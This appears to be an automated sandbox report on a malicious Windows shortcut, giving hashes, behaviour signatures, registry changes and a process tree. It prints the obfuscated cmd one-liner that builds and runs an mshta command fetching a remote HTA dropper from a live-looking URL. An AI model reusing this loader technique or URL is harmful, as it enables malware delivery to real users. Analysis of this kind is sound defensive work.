966ccc87e4d4ba3b2b8d9046e17b35e5428f8d7e8c3a7104e597560ea360bd78

General

Target
DOC-7SL3ZK.lnk
Size 1KB
Sample260811-kapp3sdd48
SHA256 966ccc87e4d4ba3b2b8d9046e17b35e5428f8d7e8c3a7104e597560ea360bd78
MD5 cec1e1ff4572cceed73af1e8e7a04a13
SHA1 acd4d1adc029668ba1cee240d5e69e8eb109c584
SHA512 500a7f85c953c71196c9fae3c13df3078b02f3bc47158b76ffb5a4c0cfcccd21a336f077235d2e6ef26a58ef0c65ec01c83ba0a552dad5ee4800e331ffdd00f8
TLSH
T1873128503AFA0614F3F6AF37C8BB571089BAB855DD71C51D4540424C1422A46E6BFFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware execution persistence ransomware spyware

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://pdf-viewer.lat/h/estagio1.php?r=360761F15794

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1208	mshta.exe
7	1208	mshta.exe
9	1208	mshta.exe
10	1208	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4608	cmd.exe
5464	cmd.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 24 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheLimit = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CacheLimit = "51200"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheVersion = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Extensible Cache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CacheVersion = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Cookies\CacheLimit = "1"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\MuiCache	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\windows_ie_ac_001\Internet Settings\Cache	rundll32.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4376	rundll32.exe
4396	rundll32.exe
5992	rundll32.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4608 wrote to memory of 5464	4608	cmd.exe	90
PID 5464 wrote to memory of 1208	5464	cmd.exe	91
PID 1208 wrote to memory of 4376	1208	mshta.exe	93
PID 1208 wrote to memory of 4396	1208	mshta.exe	94
PID 1208 wrote to memory of 5992	1208	mshta.exe	95
PID 5992 wrote to memory of 3400	5992	rundll32.exe	96
PID 4396 wrote to memory of 1160	4396	rundll32.exe	97
PID 4376 wrote to memory of 240	4376	rundll32.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7SL3ZK.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4608
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set a=msh&& set b=ta&& set c=https://&& set d=pdf-viewer.lat&& set e=/h/estagio1.php?r=360761F15794&& !a!!b! !c!!d!!e!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\System32\mshta.exe
    mshta https://pdf-viewer.lat/h/estagio1.php?r=360761F15794
    3⤵
    - Badlisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1208
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4376
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:240
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4396
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:1160
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5992
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:3400